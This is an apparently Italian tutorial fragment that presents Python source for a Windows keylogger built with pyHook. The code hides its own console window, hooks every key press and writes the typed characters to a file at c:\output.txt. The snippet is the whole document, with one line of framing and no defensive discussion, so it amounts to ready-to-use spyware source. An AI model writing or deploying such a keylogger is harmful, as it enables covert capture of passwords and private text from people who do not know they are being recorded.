Oggi vi farò vedere grazie al utilizzo della libreria pyHook come è possibile creare un Keylogger.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#Importo librerie per la gestione win32 e pyhook per il nostro keylogger import win32api import win32console import win32gui import pythoncom, pyHook import thread win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii != 0 or 8: #Se il file non esiste lo crea al istante try: f=open('c:\output.txt','r') file_data=f.read() f.close() except: f=open('c:\output.txt','w') file_data="" f.close() f=open('c:\output.txt','w') #Questa var appena digitata dal user keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='\n' #Aggiungo al file il nuovo carattere file_data += keylogs f.write(file_data) #Chiudo file f.close() hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyboardEvent hook_manager.HookKeyboard() pythoncom.PumpMessages() |